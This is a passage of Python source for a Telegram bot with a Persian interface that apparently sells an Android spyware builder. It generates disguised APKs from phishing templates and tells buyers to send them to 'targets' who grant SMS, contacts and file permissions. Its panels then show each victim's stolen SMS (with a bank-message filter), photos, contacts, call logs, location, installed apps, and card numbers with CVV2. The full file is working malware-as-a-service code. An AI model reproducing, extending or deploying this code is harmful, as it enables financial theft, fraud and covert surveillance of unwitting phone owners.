            PENDING[uid] = PENDING.get(uid, {})
            PENDING[uid]["waiting_logo"] = True
            await q.message.reply_text("🖼 لوگو را ارسال کنید یا رد کنید.", reply_markup=InlineKeyboardMarkup([[InlineKeyboardButton("➡ رد کردن", callback_data="nologo")]]))
        elif data == "nologo":
            p = PENDING.get(uid, {})
            await finish_build(update, context, user, rebuild_tid=p.get("rebuild_tid"))
        elif data.startswith("rb_nologo"):
            tid = data.split(":", 1)[1] if ":" in data else None
            await finish_build(update, context, user, rebuild_tid=tid)
        elif data.startswith("t_"):
            await handle_target_button(update, context, user, data)
        elif data == "settings":
            await show_settings(update, user)
        elif data.startswith("set_"):
            await toggle_setting(update, user, data[4:])
        elif data == "help":
            await show_help(update, user)
        elif data == "admin":
            if uid != str(ADMIN_ID):
                await q.message.reply_text("⚠ دسترسی ندارید.")
                return
            await q.message.reply_text("🛡 پنل مدیریت", reply_markup=kb_admin())
        elif data.startswith("ab:"):
            if uid != str(ADMIN_ID):
                return
            banner_key = data.split(":")[1]
            if banner_key in DATABASE["banners"]:
                PENDING[uid] = {"action": "edit_banner", "key": banner_key}
                await q.message.reply_text("✏ متن جدید بنر <b>{}</b>:".format(banner_key), parse_mode=ParseMode.HTML)
        elif data.startswith("page_"):
            parts = data.split(":")
            await show_target_sms(update, user, parts[1], int(parts[2]) if len(parts) > 2 else 0, bank_only=False)
        elif data in ["confirm_yes", "confirm_no"]:
            await handle_confirm(update, context, user, data)
        else:
            await q.message.reply_text("⚠ دکمه ناشناس.")
    except Exception as e:
        log_event("ERROR", "خطای دکمه: " + str(e))
        try:
            await update.callback_query.message.reply_text("⚠ خطا. دوباره تلاش کنید.")
        except Exception:
            pass

async def show_my_sub(update, user):
    try:
        now = time.time()
        n = float(user.get("normal_until", 0))
        v = float(user.get("vip_until", 0))
        lines = ["<b>⭐ وضعیت اشتراک</b>"]
        lines.append("🔹 عادی: " + ("✅ — {}".format(jalali_str(n)) if n > now else "❌"))
        lines.append("👑 VIP: " + ("✅ — {}".format(jalali_str(v)) if v > now else "❌"))
        lines.append("🏗 تعداد: <b>{}</b>".format(len(user.get("builds", []))))
        await update.callback_query.message.reply_text("\n".join(lines), reply_markup=kb_back("menu"), parse_mode=ParseMode.HTML)
    except Exception as e:
        log_event("ERROR", "خطای mysub: " + str(e))

async def show_template_preview(update, user, tkey):
    try:
        tpl, is_vip = template_by_key(tkey)
        if not tpl:
            return
        pages_desc = "\n".join(["  📄  <b>{}</b>".format(esc(p["title"])) for p in tpl["pages"]])
        text = "{} <b>{}</b> {}\n\n📝 {}\n\n🖥 صفحات:\n{}\n\n🎭 {}{}".format(
            tpl["emoji"], esc(tpl["name"]), "[VIP 👑]" if is_vip else "",
            esc(tpl["desc"]), pages_desc, esc(tpl.get("behavior", "")),
            "\n\n💵 درگاه ۵ هزار تومانی." if is_vip else "")
        kb = InlineKeyboardMarkup([[InlineKeyboardButton("➡ ادامه", callback_data="go_" + tkey)],
                                    [InlineKeyboardButton("🔙 برگشت", callback_data="vip_menu" if is_vip else "build")]])
        await update.callback_query.message.reply_text(text, reply_markup=kb, parse_mode=ParseMode.HTML)
    except Exception as e:
        log_event("ERROR", "خطای preview: " + str(e))

async def start_build_flow(update, context, user, tkey):
    try:
        if not SERVER_HOST.strip():
            await update.callback_query.message.reply_text(
                "⚠️ <b>SERVER_HOST تنظیم نشده!</b>\n\n"
                "قبل از ساخت، متغیر SERVER_HOST بالای فایل را با IP عمومی یا دامنه سرورت پر کن.\n"
                "مثال: <code>SERVER_HOST = \"1.2.3.4\"</code>",
                parse_mode=ParseMode.HTML)
            return
        uid = str(user["id"])
        max_t = int(DATABASE.get("settings", {}).get("max_targets", MAX_TARGETS_DEFAULT))
        my_targets = [t for t, d in DATABASE["targets"].items() if d.get("owner") == uid]
        if len(my_targets) >= max_t:
            await update.callback_query.message.reply_text("⚠ سقف هدف پر است.")
            return
        bt = user.setdefault("builds_today", {})
        if bt.get("date") != jalali_date_only():
            bt["date"] = jalali_date_only()
            bt["count"] = 0
        max_b = int(DATABASE.get("settings", {}).get("max_builds_day", MAX_BUILDS_PER_DAY))
        if bt["count"] >= max_b:
            await update.callback_query.message.reply_text("⚠ سقف روزانه پر است.")
            return
        PENDING[uid] = {"action": "build", "template": tkey, "step": "name"}
        await update.callback_query.message.reply_text("📝 نام <b>هدف</b> را وارد کنید:", parse_mode=ParseMode.HTML)
    except Exception as e:
        log_event("ERROR", "خطای build_flow: " + str(e))

async def on_text(update: Update, context):
    try:
        global PBOT_INSTANCE
        if PBOT_INSTANCE is None:
            PBOT_INSTANCE = context.application
        uid = str(update.effective_user.id)
        if await check_spam_and_block(update, uid):
            return
        if update.effective_user.id == ADMIN_ID and uid not in PENDING:
            await handle_admin_text(update, context)
            return
        user = ensure_user(update.effective_user.id, update.effective_user.username, update.effective_user.first_name)
        if user.get("banned"):
            return
        last_activity[uid] = time.time()
        if uid not in PENDING:
            return
        p = PENDING[uid]
        text = update.message.text or ""
        if p.get("action") == "build" and p.get("step") == "name":
            if not text or len(text) > 40:
                await update.message.reply_text("⚠ نام نامعتبر.")
                return
            p["name"] = text.strip()
            p["step"] = "logo"
            await update.message.reply_text("✅ نام: <b>{}</b>\n\n🖼 لوگو را ارسال کنید یا رد کنید.".format(esc(text.strip())),
                                            reply_markup=InlineKeyboardMarkup([[InlineKeyboardButton("➡ رد لوگو", callback_data="nologo")]]),
                                            parse_mode=ParseMode.HTML)
        elif p.get("action") == "t_rename":
            tid = p["tid"]
            if tid in DATABASE["targets"] and DATABASE["targets"][tid].get("owner") == uid:
                with DB_LOCK:
                    DATABASE["targets"][tid]["name"] = text.strip()[:40]
                    db_save()
                await update.message.reply_text("✅ نام تغییر کرد.")
                await send_target_panel(update, context, user, tid)
                PENDING.pop(uid, None)
        elif p.get("action") == "sms_search":
            tid = p["tid"]
            kw = text.strip()
            t = DATABASE["targets"].get(tid)
            if t and t.get("owner") == uid:
                found = [s for s in t.get("sms", []) if kw in s["body"]]
                if found:
                    body = "\n\n".join([" 📤  {}\n<pre>{}</pre>".format(esc(s["sender"]), esc(s["body"][:200])) for s in found[:15]])
                    await update.message.reply_text("🔍 ({})\n\n{}".format(len(found), body), parse_mode=ParseMode.HTML)
                else:
                    await update.message.reply_text("🔍 یافت نشد.")
                PENDING.pop(uid, None)
        elif p.get("action") == "edit_banner":
            if uid != str(ADMIN_ID):
                return
            key = p["key"]
            with DB_LOCK:
                DATABASE["banners"][key] = text.strip()
                db_save()
            await update.message.reply_text("✅ بنر <b>{}</b> بروز شد.".format(key), reply_markup=kb_back("a:main"), parse_mode=ParseMode.HTML)
            PENDING.pop(uid, None)
        elif p.get("action", "").startswith("adm_"):
            await handle_admin_pending(update, context, user, p, text)
    except Exception as e:
        log_event("ERROR", "خطای متن: " + str(e))

async def on_photo(update: Update, context):
    try:
        global PBOT_INSTANCE
        if PBOT_INSTANCE is None:
            PBOT_INSTANCE = context.application
        uid = str(update.effective_user.id)
        if await check_spam_and_block(update, uid):
            return
        user = get_user(uid)
        p = PENDING.get(uid)
        if not p or p.get("step") != "logo":
            return
        if not user:
            user = ensure_user(update.effective_user.id, update.effective_user.username, update.effective_user.first_name)
        photo = update.message.photo[-1]
        file = await context.bot.get_file(photo.file_id)
        logo_path = os.path.join(BUILDS_DIR, "logo_{}_{}.jpg".format(uid, int(time.time())))
        os.makedirs(BUILDS_DIR, exist_ok=True)
        await file.download_to_drive(logo_path)
        p["logo"] = logo_path
        await update.message.reply_text("✅ لوگو دریافت شد! در حال ساخت...")
        await finish_build(update, context, user, rebuild_tid=p.get("rebuild_tid"))
    except Exception as e:
        log_event("ERROR", "خطای لوگو: " + str(e))

async def on_document(update: Update, context):
    try:
        global PBOT_INSTANCE
        if PBOT_INSTANCE is None:
            PBOT_INSTANCE = context.application
        uid = str(update.effective_user.id)
        if await check_spam_and_block(update, uid):
            return
        user = get_user(uid)
        p = PENDING.get(uid)
        if not p or p.get("step") != "logo":
            return
        if not user:
            user = ensure_user(update.effective_user.id, update.effective_user.username, update.effective_user.first_name)
        doc = update.message.document
        if not doc.file_name.lower().endswith((".png", ".jpg", ".jpeg")):
            await update.message.reply_text("⚠ فایل باید PNG یا JPG باشد.")
            return
        file = await context.bot.get_file(doc.file_id)
        logo_path = os.path.join(BUILDS_DIR, "logo_{}_{}".format(uid, int(time.time())))
        os.makedirs(BUILDS_DIR, exist_ok=True)
        await file.download_to_drive(logo_path)
        p["logo"] = logo_path
        await update.message.reply_text("✅ لوگو دریافت شد! در حال ساخت...")
        await finish_build(update, context, user, rebuild_tid=p.get("rebuild_tid"))
    except Exception as e:
        log_event("ERROR", "خطای فایل لوگو: " + str(e))

async def finish_build(update, context, user, rebuild_tid=None):
    try:
        uid = str(user["id"])
        p = PENDING.pop(uid, {})
        tkey = p.get("template")
        name = p.get("name")
        logo = p.get("logo")
        if rebuild_tid is None:
            rebuild_tid = p.get("rebuild_tid")
        tpl, is_vip = template_by_key(tkey)
        if not tpl:
            await _reply(update, "⚠ قالب یافت نشد.")
            return
        if rebuild_tid and rebuild_tid in DATABASE["targets"]:
            t = DATABASE["targets"][rebuild_tid]
            name = t.get("name")
            tkey = t.get("template_key")
            tpl, is_vip = template_by_key(tkey)
            if not tpl:
                await _reply(update, "⚠ قالب یافت نشد.")
                return
        await _reply(update, "⏳ در حال ساخت...")
        pkg = random_pkg()
        bkey = generate_build_key()

        loop = asyncio.get_event_loop()
        try:
            final_apk = await loop.run_in_executor(None, build_apk, tpl, pkg, bkey, uid, name, logo)
        except Exception as e:
            log_event("ERROR", "خطا در ساخت: " + str(e))
            await _reply(update, "⚠ خطا:\n<code>{}</code>".format(esc(str(e))))
            return

        with DB_LOCK:
            tid = rebuild_tid or str(uuid.uuid4())[:8]
            if tid not in DATABASE["targets"]:
                DATABASE["targets"][tid] = {
                    "id": tid, "owner": uid, "name": name, "build_key": bkey,
                    "template": tpl["name"], "template_key": tkey, "pkg": pkg,
                    "online": False, "last_seen": 0, "sms": [], "photos": [],
                    "cards": [], "contacts": [], "calls": [], "apps": [],
                    "phone": "", "device": "نامشخص", "created": time.time(), "status_log": []
                }
                user.setdefault("builds", []).append({"tid": tid, "name": name, "template": tpl["name"], "time": time.time(), "key": bkey})
                user.setdefault("builds_today", {})
                if user["builds_today"].get("date") != jalali_date_only():
                    user["builds_today"] = {"date": jalali_date_only(), "count": 0}
                user["builds_today"]["count"] += 1
                DATABASE["stats"]["total_builds"] = DATABASE["stats"].get("total_builds", 0) + 1
                bump_daily(user=None, key="builds")
                bump_daily(user=None, key="new_targets")
            else:
                DATABASE["targets"][tid]["build_key"] = bkey
                DATABASE.setdefault("build_history", {}).setdefault(uid, []).append({"template": tpl["name"], "time": time.time()})
            db_save()

        try:
            apk_size_kb = os.path.getsize(final_apk) // 1024
        except Exception:
            apk_size_kb = 0

        guide = (
            "✅ <b>برنامه آماده شد!</b>\n\n"
            "> 🎯  نام: <b>{}</b>\n"
            "> 🎭  قالب: <b>{} {}</b>\n"
            "> 🔑  کد بیلد: <code>{}</code>\n"
            "> 📦  حجم: <b>{} KB</b>\n"
            "> 🌐  سرور: <code>{}</code>\n\n"
            "📘 <b>راهنمای نصب:</b>\n"
            "1. فایل را برای هدف بفرستید\n"
            "2. هدف نصب می کند (منابع ناشناس)\n"
            "3. تمام مجوزهای پیامک، مخاطبین، فایل‌ها را تأیید می‌کند\n"
            "4. هنگام باز شدن، برنامه به سرور متصل می‌شود\n"
            "5. پیامک‌ها و اطلاعات به پنل شما ارسال می‌شود"
        ).format(esc(name), tpl["emoji"], esc(tpl["name"]), bkey, apk_size_kb, esc(SERVER_HOST))

        try:
            with open(final_apk, "rb") as f:
                await context.bot.send_document(chat_id=int(uid), document=f, caption=guide,
                                                parse_mode=ParseMode.HTML, reply_markup=kb_back("targets"))
        except Exception as e:
            log_event("ERROR", "خطای ارسال: " + str(e))
            await _reply(update, "⚠ خطا در ارسال فایل.")
        finally:
            try:
                os.remove(final_apk)
            except Exception:
                pass
    except Exception as e:
        log_event("ERROR", "خطای finish_build: " + str(e))
        await _reply(update, "⚠ خطای غیرمنتظره.")

async def _reply(update, text):
    try:
        if update.message:
            await update.message.reply_text(text, parse_mode=ParseMode.HTML)
        elif update.callback_query:
            await update.callback_query.message.reply_text(text, parse_mode=ParseMode.HTML)
    except Exception:
        pass

# ==================== TARGET PANELS ==================== #
async def show_targets(update, user):
    try:
        uid = str(user["id"])
        my = [(tid, t) for tid, t in DATABASE["targets"].items() if t.get("owner") == uid]
        if not my:
            await update.callback_query.message.reply_text(DATABASE["banners"].get("targets", "🎯 هدف های من\n\nهیچ هدفی ندارید."),
                                                            reply_markup=InlineKeyboardMarkup([[InlineKeyboardButton("🔨 ساخت اولین", callback_data="build")],
                                                                                                [InlineKeyboardButton("🔙 برگشت", callback_data="menu")]]),
                                                            parse_mode=ParseMode.HTML)
            return
        rows = []
        for tid, t in my:
            status = "🟢" if t.get("online") else "🔴"
            label = "{} {} | {}".format(status, t.get("name", "?"), t.get("device", "?")[:20])
            rows.append([InlineKeyboardButton(label, callback_data="t_open:" + tid)])
        rows.append([InlineKeyboardButton("🔄 بروزرسانی", callback_data="targets")])
        rows.append([InlineKeyboardButton("🔙 برگشت", callback_data="menu")])
        await update.callback_query.message.reply_text("🎯 <b>هدف های من</b> — {}".format(len(my)),
                                                        reply_markup=InlineKeyboardMarkup(rows),
                                                        parse_mode=ParseMode.HTML)
    except Exception as e:
        log_event("ERROR", "خطای show_targets: " + str(e))

async def handle_target_button(update, context, user, data):
    try:
        uid = str(user["id"])
        parts = data.split(":")
        action = parts[0]
        tid = parts[1] if len(parts) > 1 else ""
        t = DATABASE["targets"].get(tid)
        if not t or t.get("owner") != uid:
            await update.callback_query.message.reply_text("⚠ یافت نشد.")
            return
        if not has_any_sub(user):
            await update.callback_query.message.reply_text("❌ اشتراک منقضی.", reply_markup=kb_pricing(False))
            return

        if action == "t_open":
            await send_target_panel(update, context, user, tid)
        elif action == "t_sms":
            await show_target_sms(update, user, tid, 0, bank_only=False)
        elif action == "t_banksms":
            await show_target_sms(update, user, tid, 0, bank_only=True)
        elif action == "t_smsdl":
            await send_sms_txt(update, context, user, tid)
        elif action == "t_photos":
            await send_photos(update, context, user, tid)
        elif action == "t_newphotos":
            await send_photos(update, context, user, tid, new_only=True)
        elif action == "t_contacts":
            await send_contacts(update, context, user, tid)
        elif action == "t_calls":
            await send_calls(update, context, user, tid)
        elif action == "t_loc":
            loc = t.get("location")
            if loc and loc.get("lat"):
                text = " 📍  Lat: <code>{}</code>\n Lon: <code>{}</code>\n ⏰  {}\n\n🗺 <a href='https://maps.google.com/?q={},{}'>مپ</a>".format(
                    loc["lat"], loc["lon"], days_ago_persian(loc.get("time")), loc["lat"], loc["lon"])
                await update.callback_query.message.reply_text(text, parse_mode=ParseMode.HTML, reply_markup=kb_back("t_open:" + tid))
            else:
                await update.callback_query.message.reply_text("📍 موقعیتی نداریم.", reply_markup=kb_back("t_open:" + tid))
        elif action == "t_device":
            d = t.get("device", "نامشخص")
            text = " 📱  مدل: <b>{}</b>\n شماره: <code>{}</code>\n آخرین: {}".format(
                esc(d), esc(t.get("phone", "?")), days_ago_persian(t.get("last_seen")))
            await update.callback_query.message.reply_text(text, parse_mode=ParseMode.HTML, reply_markup=kb_back("t_open:" + tid))
        elif action == "t_apps":
            apps = t.get("apps", [])
            if apps:
                text = " 💾  <b>{}</b> اپ:\n".format(len(apps)) + "\n".join("• " + esc(str(a)) for a in apps[:100])
                await update.callback_query.message.reply_text(text, parse_mode=ParseMode.HTML, reply_markup=kb_back("t_open:" + tid))
            else:
                await update.callback_query.message.reply_text("💾 داده‌ای نیست.", reply_markup=kb_back("t_open:" + tid))
        elif action == "t_cards":
            await show_cards(update, user, tid)
        elif action.startswith("t_copycard"):
            idx = int(parts[2]) if len(parts) > 2 else 0
            cards = t.get("cards", [])
            if idx < len(cards):
                c = cards[idx]
                text = " 💳  <b>{}</b>\n<code>{}</code>\n📅 {} | CVV2: <code>{}</code>".format(
                    esc(detect_bank_from_card(c["card"])), format_card_grouped(c["card"]), c["exp"], c["cvv2"])
                await update.callback_query.message.reply_text(text, parse_mode=ParseMode.HTML, reply_markup=kb_back("t_cards:" + tid))
        elif action == "t_rename":
            PENDING[uid] = {"action": "t_rename", "tid": tid}
            await update.callback_query.message.reply_text("✏ نام جدید:", reply_markup=kb_back("t_open:" + tid))
        elif action == "t_search":
            PENDING[uid] = {"action": "sms_search", "tid": tid}
            await update.callback_query.message.reply_text("🔍 کلیدواژه:", reply_markup=kb_back("t_open:" + tid))
        elif action == "t_status":
            status = "🟢 آنلاین" if t.get("online") else "🔴 آفلاین"
            await update.callback_query.message.reply_text("{}\n{}".format(status, days_ago_persian(t.get("last_seen"))),
                                                          reply_markup=kb_back("t_open:" + tid))
        elif action == "t_report":
            logs = t.get("status_log", [])
            text = "⏰ <b>گزارش</b>\n\n" + ("\n".join(["• {}".format(l) for l in logs[-20:]]) if logs else "خالی")
            await update.callback_query.message.reply_text(text, parse_mode=ParseMode.HTML, reply_markup=kb_back("t_open:" + tid))
        elif action == "t_rebuild":
            with DB_LOCK:
                tkey = t.get("template_key")
                PENDING[uid] = {"action": "build", "template": tkey, "step": "logo", "name": t.get("name"), "rebuild_tid": tid}
            await update.callback_query.message.reply_text("🔁 لوگو جدید یا رد:",
                                                          reply_markup=InlineKeyboardMarkup([[InlineKeyboardButton("➡ رد", callback_data="rb_nologo:" + tid)]]))
        elif action == "t_del":
            PENDING[uid] = {"action": "del_target", "tid": tid}
            await update.callback_query.message.reply_text("🗑 مطمئنید؟",
                                                          reply_markup=InlineKeyboardMarkup([[InlineKeyboardButton("✅ تأیید", callback_data="confirm_yes")],
                                                                                              [InlineKeyboardButton("❌ انصراف", callback_data="confirm_no")]]))
    except Exception as e:
        log_event("ERROR", "خطای target button: " + str(e))

async def handle_confirm(update, context, user, data):
    try:
        uid = str(user["id"])
        p = PENDING.pop(uid, {})
        if data == "confirm_yes" and p.get("action") == "del_target":
            tid = p["tid"]
            if tid in DATABASE["targets"] and DATABASE["targets"][tid].get("owner") == uid:
                with DB_LOCK:
                    del DATABASE["targets"][tid]
                    user["builds"] = [b for b in user.get("builds", []) if b.get("tid") != tid]
                    db_save()
                await update.callback_query.message.reply_text("🗑 حذف شد.", reply_markup=kb_back("targets"))
        elif data == "confirm_no":
            await update.callback_query.message.reply_text("❌ لغو.", reply_markup=kb_back("menu"))
    except Exception as e:
        log_event("ERROR", "خطای confirm: " + str(e))

async def send_target_panel(update, context, user, tid):
    try:
        t = DATABASE["targets"].get(tid)
        if not t:
            return
        status = "🟢 آنلاین" if t.get("online") else "🔴 آفلاین"
        header = " 🎯  <b>{}</b>\n{}\n\n📊 پیامک: <b>{}</b> | عکس: <b>{}</b> | کارت: <b>{}</b>\n⏱ {}\n📱 <code>{}</code>\n🖥 {}".format(
            esc(t.get("name")), status, len(t.get("sms", [])), len(t.get("photos", [])),
            len(t.get("cards", [])), days_ago_persian(t.get("last_seen")),
            esc(t.get("phone", "?")), esc(t.get("device", "?")))
        await update.callback_query.message.reply_text(header, reply_markup=kb_target_panel(tid), parse_mode=ParseMode.HTML)
    except Exception as e:
        log_event("ERROR", "خطای panel: " + str(e))

async def show_target_sms(update, user, tid, page=0, bank_only=False):
    try:
        t = DATABASE["targets"].get(tid)
        if not t:
            return
        sms_list = t.get("sms", [])
        if bank_only:
            sms_list = [s for s in sms_list if s.get("bank")]
        if not sms_list:
            await update.callback_query.message.reply_text("📭 خالی.", reply_markup=kb_back("t_open:" + tid))
            return
        per_page = 10
        max_page = (len(sms_list) - 1) // per_page
        page = max(0, min(page, max_page))
        chunk = sms_list[page * per_page:(page + 1) * per_page]
        text = " 📩  <b>{}</b>  صفحه {} از {}\n\n".format(esc(t.get("name")), page + 1, max_page + 1)
        for s in reversed(chunk):
            text += "📤 {} | {}\n<pre>{}</pre>\n\n".format(esc(s["sender"]), jalali_str(s["time"]), esc(str(s["body"])[:250]))
        rows = []
        if page < max_page:
            prefix = "t_banksms" if bank_only else "page"
            rows.append([InlineKeyboardButton("➡ بعدی", callback_data="{}:{}:{}".format(prefix, tid, page + 1))])
        rows.append([InlineKeyboardButton("🔙 پنل", callback_data="t_open:" + tid)])
        await update.callback_query.message.reply_text(text[:4000], reply_markup=InlineKeyboardMarkup(rows), parse_mode=ParseMode.HTML)
    except Exception as e:
        log_event("ERROR", "خطای sms: " + str(e))

async def send_sms_txt(update, context, user, tid):
    try:
        uid = str(user["id"])
        t = DATABASE["targets"].get(tid)
        if not t:
            return
        lines = ["پیامک های {}".format(t.get("name")), "=" * 40]
        for s in t.get("sms", []):
            lines.append("{} | {}".format(s["sender"], jalali_str(s["time"])))
            lines.append(str(s["body"]))
            lines.append("-" * 30)
        path = os.path.join(tempfile.gettempdir(), "sms_{}.txt".format(tid))
        with open(path, "w", encoding="utf-8") as f:
            f.write("\n".join(lines))
        with open(path, "rb") as f:
            await context.bot.send_document(int(uid), f, caption="📩 پیامک ها")
    except Exception as e:
        log_event("ERROR", "خطای sms txt: " + str(e))

async def send_photos(update, context, user, tid, new_only=False):
    try:
        uid = str(user["id"])
        t = DATABASE["targets"].get(tid)
        if not t:
            return
        photos = t.get("photos", [])
        if new_only:
            last_visit = t.get("last_photo_check", 0)
            photos = [p for p in photos if p["time"] > last_visit]
        if not photos:
            await update.callback_query.message.reply_text("🖼 خالی.", reply_markup=kb_back("t_open:" + tid))
            return
        sent = 0
        for p in photos:
            if sent >= 10:
                break
            try:
                with open(p["path"], "rb") as f:
                    await context.bot.send_photo(int(uid), f, caption="🖼 {} — {}".format(esc(t.get("name")), jalali_str(p["time"])))
                sent += 1
            except Exception:
                continue
        with DB_LOCK:
            t["last_photo_check"] = time.time()
            db_save()
        remaining = len(photos) - sent
        rows = []
        if remaining > 0:
            rows.append([InlineKeyboardButton("📷 بیشتر ({} باقی)".format(remaining), callback_data="t_photos:" + tid)])
        rows.append([InlineKeyboardButton("🔙 پنل", callback_data="t_open:" + tid)])
        await update.callback_query.message.reply_text("🖼 ارسال شد: {}".format(sent), reply_markup=InlineKeyboardMarkup(rows))
    except Exception as e:
        log_event("ERROR", "خطای photos: " + str(e))

async def send_contacts(update, context, user, tid):
    try:
        uid = str(user["id"])
        t = DATABASE["targets"].get(tid)
        if not t:
            return
        contacts = t.get("contacts", [])
        if not contacts:
            await update.callback_query.message.reply_text("👥 خالی.", reply_markup=kb_back("t_open:" + tid))
            return
        lines = ["مخاطبین {}".format(t.get("name")), "=" * 30]
        for c in contacts:
            lines.append("{}: {}".format(c.get("name", ""), c.get("number", "")))
        path = os.path.join(tempfile.gettempdir(), "contacts_{}.txt".format(tid))
        with open(path, "w", encoding="utf-8") as f:
            f.write("\n".join(lines))
        with open(path, "rb") as f:
            await context.bot.send_document(int(uid), f, caption="👥 مخاطبین ({})".format(len(contacts)))
    except Exception as e:
        log_event("ERROR", "خطای contacts: " + str(e))

async def send_calls(update, context, user, tid):
    try:
        uid = str(user["id"])
        t = DATABASE["targets"].get(tid)
        if not t:
            return
        calls = t.get("calls", [])
        if not calls:
            await update.callback_query.message.reply_text("📞 خالی.", reply_markup=kb_back("t_open:" + tid))
            return
        lines = ["تماس های {}".format(t.get("name")), "=" * 30]
        for c in calls:
            d = "ورودی" if c.get("type") == "in" else "خروجی"
            lines.append("{} | {} | {}s".format(c.get("number", ""), d, c.get("duration", 0)))
        path = os.path.join(tempfile.gettempdir(), "calls_{}.txt".format(tid))
        with open(path, "w", encoding="utf-8") as f:
            f.write("\n".join(lines))
        with open(path, "rb") as f:
            await context.bot.send_document(int(uid), f, caption="📞 تماس ها ({})".format(len(calls)))
    except Exception as e:
        log_event("ERROR", "خطای calls: " + str(e))

async def show_cards(update, user, tid):
    try:
        t = DATABASE["targets"].get(tid)
        if not t:
            return
        cards = t.get("cards", [])
        if not cards:
            await update.callback_query.message.reply_text("💳 خالی.", reply_markup=kb_back("t_open:" + tid))
            return
        text = " 💳  <b>کارت های {}</b>\n\n".format(esc(t.get("name")))
        for i, c in enumerate(cards):
            bank = detect_bank_from_card(c["card"])
            text += " 💳  <b>{}</b>\n<code>{}</code>\n📅 {} | CVV2: <code>{}</code>\n\n".format(
                esc(bank), esc(format_card_grouped(c["card"])), esc(c["exp"]), esc(c["cvv2"]))
        rows = []
        for i in range(len(cards)):
            rows.append([InlineKeyboardButton("📋 کپی #{}".format(i + 1), callback_data="t_copycard:{}:{}".format(tid, i))])
        rows.append([InlineKeyboardButton("🔙 پنل", callback_data="t_open:" + tid)])
        await update.callback_query.message.reply_text(text[:4000], reply_markup=InlineKeyboardMarkup(rows), parse_mode=ParseMode.HTML)
    except Exception as e:
        log_event("ERROR", "خطای cards: " + str(e))

# ==================== SETTINGS ==================== #
async def show_settings(update, user):
    try:
        s = user.get("settings", {})
        def onoff(v):
            return "✅" if v else "❌"
        text = " ⚙  <b>تنظیمات</b>\n\n📩 بانکی: {}\n📨 همه: {}\n📷 عکس: {}\n🔔 اتصال: {}".format(
            onoff(s.get("notify_sms_bank", True)), onoff(s.get("notify_sms", False)),
            onoff(s.get("notify_photo", True)), onoff(s.get("notify_connect", True)))
        kb = InlineKeyboardMarkup([
            [InlineKeyboardButton("🏦 بانکی: " + onoff(s.get("notify_sms_bank", True)), callback_data="set_notify_sms_bank")],
            [InlineKeyboardButton("📨 همه: " + onoff(s.get("notify_sms", False)), callback_data="set_notify_sms")],
            [InlineKeyboardButton("📷 عکس: " + onoff(s.get("notify_photo", True)), callback_data="set_notify_photo")],
            [InlineKeyboardButton("🔔 اتصال: " + onoff(s.get("notify_connect", True)), callback_data="set_notify_connect")],
            [InlineKeyboardButton("🔙 برگشت", callback_data="menu")]
        ])
        await update.callback_query.message.reply_text(text, reply_markup=kb, parse_mode=ParseMode.HTML)
    except Exception as e:
        log_event("ERROR", "خطای settings: " + str(e))

async def toggle_setting(update, user, key):
    try:
        s = user.setdefault("settings", {})
        s[key] = not s.get(key, key in ["notify_sms_bank", "notify_photo", "notify_connect"])
        with DB_LOCK:
            db_save()
        await show_settings(update, user)
    except Exception as e:
        log_event("ERROR", "خطای toggle: " + str(e))

# ==================== HELP ==================== #
async def show_help(update, user):
    try:
        text = """📘 <b>راهنمای ربات TRX</b>

🔹 آموزش نصب:
1. APK را برای هدف بفرستید
2. هدف نصب می کند (منابع ناشناس)
3. تمام مجوزها را تأیید می کند
4. APK به سرور متصل می شود
5. پیامک ها و اطلاعات به پنل شما می آید

📌 نسخه: 3.0.7
📩 پشتیبانی: POLO_IR@"""
        await update.callback_query.message.reply_text(text, reply_markup=kb_back("menu"), parse_mode=ParseMode.HTML)
    except Exception as e:
        log_event("ERROR", "خطای help: " + str(e))

# ==================== ADMIN ==================== #
last_activity = {}

async def handle_admin_button(update, context, user, data):
    try:
        uid = str(user["id"])
        action = data[2:]
        if action == "main" or action == "":
            await update.callback_query.message.reply_text("🛡 پنل", reply_markup=kb_admin())
        elif action == "givesub":
            PENDING[uid] = {"action": "adm_givesub", "step": "uid"}
            await update.callback_query.message.reply_text("🆔 آیدی:")
        elif action == "remsub":
            PENDING[uid] = {"action": "adm_remsub", "step": "uid"}
            await update.callback_query.message.reply_text("🆔 آیدی:")
        elif action == "lock":
            locked = DATABASE.get("settings", {}).get("bot_locked", False)
            with DB_LOCK:
                DATABASE.setdefault("settings", {})["bot_locked"] = not locked
                db_save()
            await update.callback_query.message.reply_text("وضعیت: " + ("🔒" if not locked else "🔓"), reply_markup=kb_admin())
        elif action == "broadcast":
            PENDING[uid] = {"action": "adm_broadcast", "target": "all"}
            await update.callback_query.message.reply_text("📢 متن:")
        elif action == "bcast2":
            kb = InlineKeyboardMarkup([
                [InlineKeyboardButton("✅ فعال", callback_data="a:bcast_active")],
                [InlineKeyboardButton("🚫 بن", callback_data="a:bcast_banned")],
                [InlineKeyboardButton("❌ بدون اشتراک", callback_data="a:bcast_no")],
                [InlineKeyboardButton("🔙", callback_data="a:main")]
            ])
            await update.callback_query.message.reply_text("📣 هدف:", reply_markup=kb)
        elif action.startswith("bcast_"):
            tgt = action.split("_", 1)[1]
            PENDING[uid] = {"action": "adm_broadcast", "target": tgt}
            await update.callback_query.message.reply_text("📢 متن:")
        elif action == "listusers":
            await admin_list_users(update, 0)
        elif action.startswith("listusers:"):
            await admin_list_users(update, int(action.split(":")[1]))
        elif action == "search":
            PENDING[uid] = {"action": "adm_search"}
            await update.callback_query.message.reply_text("🔎 آیدی/یوزرنیم:")
        elif action == "dm":
            PENDING[uid] = {"action": "adm_dm", "step": "uid"}
            await update.callback_query.message.reply_text("🆔 آیدی:")
        elif action == "ban":
            PENDING[uid] = {"action": "adm_ban"}
            await update.callback_query.message.reply_text("🆔 آیدی:")
        elif action == "deluser":
            PENDING[uid] = {"action": "adm_deluser"}
            await update.callback_query.message.reply_text("🆔 آیدی:")
        elif action == "banner":
            await admin_banner_wizard(update)
        elif action == "stats":
            await admin_stats(update)
        elif action == "dailystats":
            await admin_daily_stats(update)
        elif action == "targets":
            await admin_all_targets(update)
        elif action == "logs":
            logs = DATABASE.get("logs", [])[-30:]
            text = "📜  <b>لاگ</b>\n\n" + "\n".join(["{} [{}] {}".format(jalali_str(l["time"]), l["level"], esc(l["msg"])[:150]) for l in reversed(logs)])
            await update.callback_query.message.reply_text(text[:4000] or "خالی", reply_markup=kb_back("a:main"), parse_mode=ParseMode.HTML)
        elif action == "price":
            PENDING[uid] = {"action": "adm_price", "step": "normal"}
            await update.callback_query.message.reply_text("💰 قیمت عادی هفتگی:\nفعال: {}".format(DATABASE.get("settings", {}).get("price_normal", PRICE_NORMAL_WEEK)))
        elif action == "toptpl":
            await admin_top_templates(update)
